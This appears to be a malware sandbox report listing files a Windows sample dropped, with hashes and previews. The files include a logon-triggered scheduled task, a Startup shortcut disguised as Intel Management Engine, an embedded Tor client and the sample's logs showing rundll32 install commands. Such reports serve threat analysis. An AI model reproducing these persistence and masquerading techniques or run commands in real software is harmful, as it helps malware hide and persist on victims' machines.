SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yat1lmms.bzr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yuce4osx.yql.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\task.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.15908817804323
Encrypted:	false
SSDEEP:	48:cbeMNuaCAQEPL60uydbzxIYODOLedq3wlADu:yeMQaKEu0uydbzedq3nDu
MD5:	32402D0052F6930BB0AA64E2FF9B9D5F
SHA1:	CCE094FFA540204569A9425D1501914339D78827
SHA-256:	4A0F17AF86E62C34548CEABC4F391AEF3A772A09B6D1817328087D9F314A6F8E
SHA-512:	21D2331E1A7A9AFDAB6898FB584609316F500592DB66FDE212EE09D83AE601521B2EC35A148CC2D3EDAD376D73B687D7A29FB274575267380B107D498EEE3092
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2020-06-16T00:19:43.93255</Date>.. <Author>Intel</Author>.. <URI>\InterProfileUpdater_Helper</URI>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. </LogonTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <GroupId>S-1-5-32-545</GroupId>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <Re

C:\Users\user\AppData\Local\torproject\Arti\cache\dir.sqlite3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, file counter 20, database pages 6261, cookie 0x8, schema 4, UTF-8, version-valid-for 20
Category:	dropped
Size (bytes):	25645056
Entropy (8bit):	4.9038884206149085
Encrypted:	false
SSDEEP:	24576:5ClzmKgLOF92zE5pTSFs1wt/X3FlXlgF0FYl5tZRp8PAGnXFma7kdvfM3B6R57kC:0wMWzwvvxdYU4JKh6yoATmk+EZWm
MD5:	89915ED7AAF26067B937E8DA50896B1F
SHA1:	4CE53C3B890D199F4AD09FA0B75694DC0E0BD9EC
SHA-256:	F46F017C910388052B894026395691E23D6D3ED6AB83C8EA845532110C741943
SHA-512:	A887580E6E0F79084E0A76B3996B657C9337A2EC34312B06653E28F170A44D252AD48C86CFCBF22DCA9AB19313DEB49F93545FE7B7FAC91B2F44B63D29C97665
Malicious:	false
Preview:	SQLite format 3......@ .......u..................................................................zp......R....................%.G...R..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\torproject\Arti\cache\dir.sqlite3-journal

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.516187498508434
Encrypted:	false
SSDEEP:	48:7M26XyqY3Kl31rMNuDsMHNBjEu55lQ771kV/v74/:7VfbaPQN67NrblQGU/
MD5:	CBD154265B4AAF6F027BC9D7033EBF70
SHA1:	32CEB552ECC042D7D12AA01710FDDBC4D9AC640D
SHA-256:	E0B467D1ABF430804A199C80CF1836426FC5BB3C4BF777AE6CA455A1B2470F70
SHA-512:	3ADE93D1FAA7B7417E088FC9E33290F49A17A5466913D15A40A9E94F8AF45AFA889F1064EA1C2800A94860AF00CD8EADEC57002168FB4B2AA30419900F5657B4
Malicious:	false
Preview:	.... .c...........u....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs\con_microdesc_sha3-256-f2801e2ce4339b27d1b1680219205f91a7dcd6493d9311cc25c18701b2c2813a (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2875869
Entropy (8bit):	5.610350739815323
Encrypted:	false
SSDEEP:	12288:V6KxvfF9EcyuXvtEVC/JveI8GY22OOdDBGjOj9zW9fNWueO+oJxk5KXVr7/chK+N:vvmnueGl87DB/IFWueiG5KPCKY1
MD5:	2368BD17A18DFA29CBF1FA013B27E4B0
SHA1:	98B96C579D1524D8E0789344A319A22ACB78BFB7
SHA-256:	16E27F4C9DC346B8142D88CBEAB23AA4E6046FEB2CE598A7AFCA961CA61682DD
SHA-512:	9C3FAAB3F8B38D74E92679D60361400418D9E248E5A27E36D6D5CA3F0F09F86DDAB822C4CECED15E78532354B1500189A115C0416C6FED7EAB870BA46B0248D5
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-12-17 10:00:00.fresh-until 2024-12-17 11:00:00.valid-until 2024-12-17 13:00:00.voting-delay 300 300.client-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.server-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPri

C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs\con_microdesc_sha3-256-f2801e2ce4339b27d1b1680219205f91a7dcd6493d9311cc25c18701b2c2813a.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1006)
Category:	dropped
Size (bytes):	2875869
Entropy (8bit):	5.610350739815323
Encrypted:	false
SSDEEP:	12288:V6KxvfF9EcyuXvtEVC/JveI8GY22OOdDBGjOj9zW9fNWueO+oJxk5KXVr7/chK+N:vvmnueGl87DB/IFWueiG5KPCKY1
MD5:	2368BD17A18DFA29CBF1FA013B27E4B0
SHA1:	98B96C579D1524D8E0789344A319A22ACB78BFB7
SHA-256:	16E27F4C9DC346B8142D88CBEAB23AA4E6046FEB2CE598A7AFCA961CA61682DD
SHA-512:	9C3FAAB3F8B38D74E92679D60361400418D9E248E5A27E36D6D5CA3F0F09F86DDAB822C4CECED15E78532354B1500189A115C0416C6FED7EAB870BA46B0248D5
Malicious:	false
Preview:	network-status-version 3 microdesc.vote-status consensus.consensus-method 33.valid-after 2024-12-17 10:00:00.fresh-until 2024-12-17 11:00:00.valid-until 2024-12-17 13:00:00.voting-delay 300 300.client-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.server-versions 0.4.8.4,0.4.8.5,0.4.8.6,0.4.8.7,0.4.8.8,0.4.8.9,0.4.8.10,0.4.8.11,0.4.8.12,0.4.8.13,0.4.9.1-alpha.known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid.recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2.recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2.required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2.params AuthDirMaxServersPerAddr=8 CircuitPri

C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.json (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	595
Entropy (8bit):	2.697868247358613
Encrypted:	false
SSDEEP:	6:lS+hRRV/HqdQhHlvNnH6HGpHRF4hHChHn2hH6dQhH/hHLL4hHFQhHr2hHlDhHVJK:YUnV/qdE1pk2RFMu6fZLLMFEWHxMPV
MD5:	4B332667FC668B44FBF8883C08B14823
SHA1:	29C16844CBE8A2F696166EE5E1C40210AC3B5D94
SHA-256:	72264DF4FC9CF2F6A3A0D451EA1504DA2A9B436BCF98A8C5C92E7435C0A579E2
SHA-512:	430D2E604F2CA46B076EE98F1ED392E2A0DA77DFCF84A5EC6309C4C5AFB5AEBD7F7569B6F5D83DEA80F316487C3B9E5C31845D8369BB2831D2165B7E68590709
Malicious:	false
Preview:	{. "version": 1,. "histogram": [. [. 1265,. 2. ],. [. 1275,. 1. ],. [. 1285,. 2. ],. [. 1305,. 2. ],. [. 1325,. 2. ],. [. 1335,. 1. ],. [. 1355,. 1. ],. [. 1395,. 1. ],. [. 1455,. 1. ],. [. 1505,. 1. ],. [. 1515,. 1. ],. [. 1625,. 1. ],. [. 3195,. 1. ],. [. 3365,. 1. ],. [. 3915,. 1. ],. [. 4195,. 1. ]. ],. "current_timeout": 60000.}

C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	595
Entropy (8bit):	2.697868247358613
Encrypted:	false
SSDEEP:	6:lS+hRRV/HqdQhHlvNnH6HGpHRF4hHChHn2hH6dQhH/hHLL4hHFQhHr2hHlDhHVJK:YUnV/qdE1pk2RFMu6fZLLMFEWHxMPV
MD5:	4B332667FC668B44FBF8883C08B14823
SHA1:	29C16844CBE8A2F696166EE5E1C40210AC3B5D94
SHA-256:	72264DF4FC9CF2F6A3A0D451EA1504DA2A9B436BCF98A8C5C92E7435C0A579E2
SHA-512:	430D2E604F2CA46B076EE98F1ED392E2A0DA77DFCF84A5EC6309C4C5AFB5AEBD7F7569B6F5D83DEA80F316487C3B9E5C31845D8369BB2831D2165B7E68590709
Malicious:	false
Preview:	{. "version": 1,. "histogram": [. [. 1265,. 2. ],. [. 1275,. 1. ],. [. 1285,. 2. ],. [. 1305,. 2. ],. [. 1325,. 2. ],. [. 1335,. 1. ],. [. 1355,. 1. ],. [. 1395,. 1. ],. [. 1455,. 1. ],. [. 1505,. 1. ],. [. 1515,. 1. ],. [. 1625,. 1. ],. [. 3195,. 1. ],. [. 3365,. 1. ],. [. 3915,. 1. ],. [. 4195,. 1. ]. ],. "current_timeout": 60000.}

C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.json (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	4.548867988868947
Encrypted:	false
SSDEEP:	192:mXM0hMTMBtMfMbMTMTMmMdMoM8MQML/MXBM76M4MsMeMaMiFMuPGf2:4xMYYeILmi71t8QTB5V/bb
MD5:	2DC97C8ECB56043285504D2FF46EBC09
SHA1:	0722E2D73933A6E5A3F7A76203921E830E1BBB6E
SHA-256:	13D6C6D3CD3EFB2AF327B083049221C3316C8B57911E3AC1EC0E28C31F7F44FF
SHA-512:	B26F582F8746DA20C2956DAC98FBF00952D9555BDC5350C7AE7CD441CCC6770A1D2BD4AA0D4F7744F4FF02158A6B327C35B3BC744C9BDA39BB3E6A649C237C45
Malicious:	false
Preview:	{. "default": {. "guards": [. {. "id": {. "ed25519": "/YLS6uGPZ46Ac+Q1j9Wk1RKbfKu8ZGfV1hoQhSucrhE",. "rsa": "79c674e6c1ac90687cccf644d24c17ac1e535a3c". },. "orports": [. "81.7.16.177:9001". ],. "added_at": "2024-12-12T01:22:50Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-12T01:22:50Z",. "unlisted_since": null. },. {. "id": {. "ed25519": "knBe0GKhDCZFO3TVfuopHQhtfd7aJbXBE2heIa2RjvQ",. "rsa": "5db9ae27a44eb7b476cc04a66c67a71c97a001e6". },. "orports": [. "54.36.205.38:9001". ],. "added_at": "2024-12-10T09:06:10Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-10T09:06:10Z",. "unlisted_since": null. },.

C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	4.548867988868947
Encrypted:	false
SSDEEP:	192:mXM0hMTMBtMfMbMTMTMmMdMoM8MQML/MXBM76M4MsMeMaMiFMuPGf2:4xMYYeILmi71t8QTB5V/bb
MD5:	2DC97C8ECB56043285504D2FF46EBC09
SHA1:	0722E2D73933A6E5A3F7A76203921E830E1BBB6E
SHA-256:	13D6C6D3CD3EFB2AF327B083049221C3316C8B57911E3AC1EC0E28C31F7F44FF
SHA-512:	B26F582F8746DA20C2956DAC98FBF00952D9555BDC5350C7AE7CD441CCC6770A1D2BD4AA0D4F7744F4FF02158A6B327C35B3BC744C9BDA39BB3E6A649C237C45
Malicious:	false
Preview:	{. "default": {. "guards": [. {. "id": {. "ed25519": "/YLS6uGPZ46Ac+Q1j9Wk1RKbfKu8ZGfV1hoQhSucrhE",. "rsa": "79c674e6c1ac90687cccf644d24c17ac1e535a3c". },. "orports": [. "81.7.16.177:9001". ],. "added_at": "2024-12-12T01:22:50Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-12T01:22:50Z",. "unlisted_since": null. },. {. "id": {. "ed25519": "knBe0GKhDCZFO3TVfuopHQhtfd7aJbXBE2heIa2RjvQ",. "rsa": "5db9ae27a44eb7b476cc04a66c67a71c97a001e6". },. "orports": [. "54.36.205.38:9001". ],. "added_at": "2024-12-10T09:06:10Z",. "added_by": {. "crate": "tor-guardmgr",. "version": "0.25.0". },. "disabled": null,. "confirmed_at": "2024-12-10T09:06:10Z",. "unlisted_since": null. },.

C:\Users\user\AppData\Roaming\IntelManagementUnit\Clienter.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5952000
Entropy (8bit):	6.42252032332748
Encrypted:	false
SSDEEP:	49152:AX5tpdlXtM+AfPm06ohnluajxudNNn8qNHw1WDYfyWosCdc+0jKvK8tsHtQl9H/v:ADm4LWW1ztll9B62WYamwQiE
MD5:	755EC97A0236FC0692F8A1BBD4773AD8
SHA1:	0AC08A723FD529EEAB4C4DD827275CF03A69C55D
SHA-256:	144C30C39BA1589A1A9478E40E23D68DACC1AE6794198058DE0C403D8A1DDF5A
SHA-512:	D61C5CB38CBF16F68EAB152CC0E723277196276365CFABB5D804286D1142EA9497BE22627EA1F06CEEB30CB4219810DB9C75EF39A3BECAA41C3D4F4DA6E90FB7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........KW...W...W.......\..............E...G=..]...G=..Y...G=..u...W...........D....<..p...W...Q....<..V....<..V...RichW...........PE..d....ZTg.........." ...).ZA...........>...................................... [...........`.........................................`hV.H....hV.............. W..U............Z......fM......................hM.(....dM.@............pA..............................text...PYA......ZA................. ..`.rdata.......pA......^A.............@..@.data........V..l...pV.............@....pdata...U... W..V....V.............@..@.reloc........Z......2Z.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3263648
Entropy (8bit):	6.106782317870956
Encrypted:	false
SSDEEP:	24576:rV+favRhbxUm15yzKOX4EYZeGfo86i0k4si4p7sQEjIROjrJYPC2:rVeeRRxsg36H4B8BiC2
MD5:	DEAB967C3AD0E3C7ECDFE19D9A41978A
SHA1:	15D7BA7444D2557C6C07221B30329F707168F7BD
SHA-256:	D1766F667B639F0734E239A6605F0FD3C45D9B927051912A0D9382A87DF95FA1
SHA-512:	D42EAF6A79B8C8438D77D57CBB2A0DCE494568CF3AC99152110DFD2FC4D0301C26DDF19EAF17A84ADB2D218B018DED2E7B9B8D3D4D064BCA879EE34C7308D88F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................!......1..........:/.. ....1...@.. ........................2.....vn2...`.................................5:/.V.....1...............1..(....1......:/.p............................................ ............... ..H............text....1.. ....1................. ..`.rsrc.........1.......1.............@..@.reloc........1.......1.............@..B................q:/.....H........... K...........#.......#......................................&.o.....&.....R..,..(...+,.+..........B.o.....&..}.........{...."..o.......&.o.....&..&.o.....&..&.o.....&..B.o.....&..}.........{...."..o.......&.o.....&..B.o.....&..}.........{....&.o.....&..&.o.....&..B.o.....&..}.........{....B.o.....&..}.........{...."..o.......&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..&.o.....&..B.o.....&..}.......

C:\Users\user\AppData\Roaming\IntelManagementUnit\tor_mutex.conf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:gSTvn:gSj
MD5:	C0D47F7A2DF7D04053140C161688387C
SHA1:	2B84B853A926EF41B27FD9AF4C44426399A007BA
SHA-256:	26B11E2CDE6450E019F4FEBBA4F90796E24FA43B221F0B83276EADD21B640A0E
SHA-512:	02173F11FB93600D6678773D5502A329BB83D662E3E059FBEF1F1691774DBC0EE2465CF5D0EE8B266EEC9B3355FC9B3AB16104437B44B12897BCE3DFBF2661C5
Malicious:	false
Preview:	7676.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementEngine.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	3.4420702930961236
Encrypted:	false
SSDEEP:	24:8Elo/BHYVKVWnl+HUUDGAVgMl6jkWQUGxY+/CWfcVQ+/CliwlD3prNOcI5qy:8El85aAHUHAV6Y7x6QNlrp1/5y
MD5:	5741F92D2849E13FF1C5A3602B237A26
SHA1:	A74F79A9DF1CDCC79C420E788F633A06E1856727
SHA-256:	15D6F4E11A8D9F483B157CC0555867BA7FC649AB6F8EC8B6606DA0CF26F48787
SHA-512:	B404CF2FF7CFE3CECB8C2E3352B3AE6F8C44C55F738038496587298D93782C7091C6B9602DF6A001438DC008E7E9F3091545950ED32BC9B1A7D0C00EF509320E
Malicious:	true
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@............................................W.i.n.d.o.w.s.....Z.1...........System32..B............................................S.y.s.t.e.m.3.2.....t.1...........WindowsPowerShell.T............................................W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l... .N.1...........v1.0..:............................................v.1...0.....l.2...........powershell.exe..N............................................p.o.w.e.r.s.h.e.l.l...e.x.e.........T.h.e. .I.n.t.e.l. .M.a.n.a.g.e.m.e.n.t. .E.n.g.i.n.e. .(.M.E.). .i.s. .a.n. .e.m.b.e.d.d.e.d. .m.i.c.r.o.c.o.n.t.r.o.l.l.e.r. .r.u.n.n.i.n.g. .o.n. .a. .d.e.d.i.c.a.t.e.d. .m.i.c.r.o.p.r.o.c.e.s.s.o.r. .i.n.t.e.g.r.a.t.e.d. .i.n.t.o. .I.n.t.e.l. .c.h.i.p.s.e.t.s...Q.....\.....\.....\.....\.....\.....\.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1

C:\Users\user\AppData\Roaming\logs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	319
Entropy (8bit):	4.587305936061719
Encrypted:	false
SSDEEP:	6:J8wOBfjH6eXNLn7ylyqLKC+CiWHFC4fqQ4b4fqQ+s2OFYmxfZFUXeRLy:2RpjH/XqXLKCiCF4kF+5OFY6NRe
MD5:	4276C9E06DCCA59945B5FA740B54BF8C
SHA1:	2AF34518763B8B9724DE228E27B8751D21349E01
SHA-256:	36EA95CCF9129A26C1F08E301C41E153EF509609648DE5F24CB284D7D0577F31
SHA-512:	F7B0F5D4C1C333C5154FBA21F80395816103BA5ACC9FF2BEE3B642F5CBDC24FB3C3637C475F31DF858FF1A978236687BC700F7E47B349BE12BFE42B14FAC4419
Malicious:	false
Preview:	Is from dll: True..Is installed: True..Admin mode: False..Override: True..Entered in real_run..Starting the proxy.....Opening the dll for write.....Decompressing into the dll.....Awaiting the pipe connection.....Awaiting the pipe connection...Ok..Disabling logging for infecting..Startup.....Entering the main loop.....

C:\Users\user\Desktop\InstallError.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	5.2199267462314545
Encrypted:	false
SSDEEP:	24:MkTaaTTAJANccA3AN4uANjNXAFrkvI/1bZ1HOlSOv1kr:Mk//AGNccAQN8NjNXAFgvI/1bZ1ulSOO
MD5:	E25C8E42BAD5A0C3FB9F5AC7E2B958EB
SHA1:	D79B7F4272F3BDF241B45307878F88EA73D75E7E
SHA-256:	64E53D9C0AE4112FDBBC048C0CC5E13425D0129468E2BE1E79147ECB28A019F0
SHA-512:	5E89DABD5B82ED848DF47C809CEC0069BE6AA860C0688048E0EBCAC54259907803D95E7A85C7FFF6C51D2E23B322D6DDF0C0CB0502FBB951785B28ACDE8E170C
Malicious:	false
Preview:	System.IO.FileNotFoundException: Could not find file 'C:\Users\user\Desktop\Mainer.dll'...File name: 'C:\Users\user\Desktop\Mainer.dll'.. at Microsoft.Win32.SafeHandles.SafeFileHandle.CreateFile(String, FileMode, FileAccess, FileShare, FileOptions) + 0x151.. at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0x44.. at System.IO.File.OpenHandle(String, FileMode, FileAccess, FileShare, FileOptions, Int64) + 0x7e.. at System.IO.File.ReadAllBytesAsync(String, CancellationToken) + 0x3e.. at Installer.readTask@210.MoveNext() + 0x28..--- End of stack trace from previous location ---.. at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() + 0x20.. at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task) + 0xb2.. at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task, ConfigureAwaitOptions) + 0x4b.. at Microsoft.FSharp.Control.TaskBuild

C:\Users\user\Desktop\error.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	882
Entropy (8bit):	5.223521099249644
Encrypted:	false
SSDEEP:	24:TTKUSkX2cYfTIZZDk0hc4TXybmGw/4GXiGiW:TTKrgdYck0nTYamGr
MD5:	6263C663BB4AE310530A06D71B87F176
SHA1:	C168160FD2200B7F278F583CA8E8C43A6CA1A7DA
SHA-256:	88226E712185698F24C921AD7B6427B4F4500BF7C2DB00597480AE72DBB0E038
SHA-512:	031DF2B0D3B635DD72C92985F89299368F077DBC8F4420CBF3D2A9BF6847F9902031E714DE7CF5A77AC59EAF171B3D7680AB682D2489CDD380C942C9CAC8E2D8
Malicious:	false
Preview:	System.Exception: Failed to exit!.. at Microsoft.FSharp.Core.PrintfModule.PrintFormatToStringThenFail@1448.Invoke(String) + 0x2b.. at AdminProgram.run@79-31.Invoke(Unit) + 0xaa.. at Microsoft.FSharp.Control.AsyncPrimitives.CallThenInvokeNoHijackCheck[a,b](AsyncActivation`1, b, FSharpFunc`2) + 0x22.. at Microsoft.FSharp.Control.Trampoline.Execute(FSharpFunc`2) + 0x44..--- End of stack trace from previous location ---.. at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() + 0x20.. at Microsoft.FSharp.Control.AsyncResult`1.Commit() + 0x53.. at Microsoft.FSharp.Control.AsyncPrimitives.QueueAsyncAndWaitForResultSynchronously[a](CancellationToken, FSharpAsync`1, FSharpOption`1) + 0x1f1.. at Microsoft.FSharp.Control.FSharpAsync.RunSynchronously[T](FSharpAsync`1, FSharpOption`1, FSharpOption`1) + 0x5c.. at Mainer.Program.RealMain(String[]) + 0x430

C:\Users\user\Desktop\logs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1092
Entropy (8bit):	4.902679435525631
Encrypted:	false
SSDEEP:	24:bWbClW4rQuJwJbWbClW44QuJwJbWbCl+ArQuJwJbWxCXmbCl+A4QuJwJn:bOClWqJwFOClWJJwFOCl+iJwFiU+Cl+Y
MD5:	173686B0CF0E007A4377753F6971DC8F
SHA1:	B7EBB033F76ECBBC0270DDF75D5B98EA8344DBFC
SHA-256:	CC68B9FDD1E42DAC1DD526952FF38AAAA9DDD65C976743F8B5B464BF6E60FA33
SHA-512:	532310B17376E2C45CFA6D9A2C229B4259FD28E427F2B6100B5EE775AFD58EE4E721A0C0DA59ADCD5BA13778873043336C34FC31C2809E01B023344E62EBEC7C
Malicious:	false
Preview:	Is installer: True..Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall..Current dll path: C:\Users\user\Desktop\Mainer.dll..Current dir is C:\Users\user\Desktop..Is installer: True..Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstallUserOnly..Current dll path: C:\Users\user\Desktop\Mainer.dll..Current dir is C:\Users\user\Desktop..Is installer: True..Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstall..Current dll path: C:\Users\user\Desktop\Mainer.dll..Current dir is C:\Users\user\Desktop..Is installer: True..Is admin: True..Is installer: True..Directory already exists, calcelling the installation...Is admin: True..getCmdLine.Invoke.....getCmdLine.Invoke () = rundll32.exe 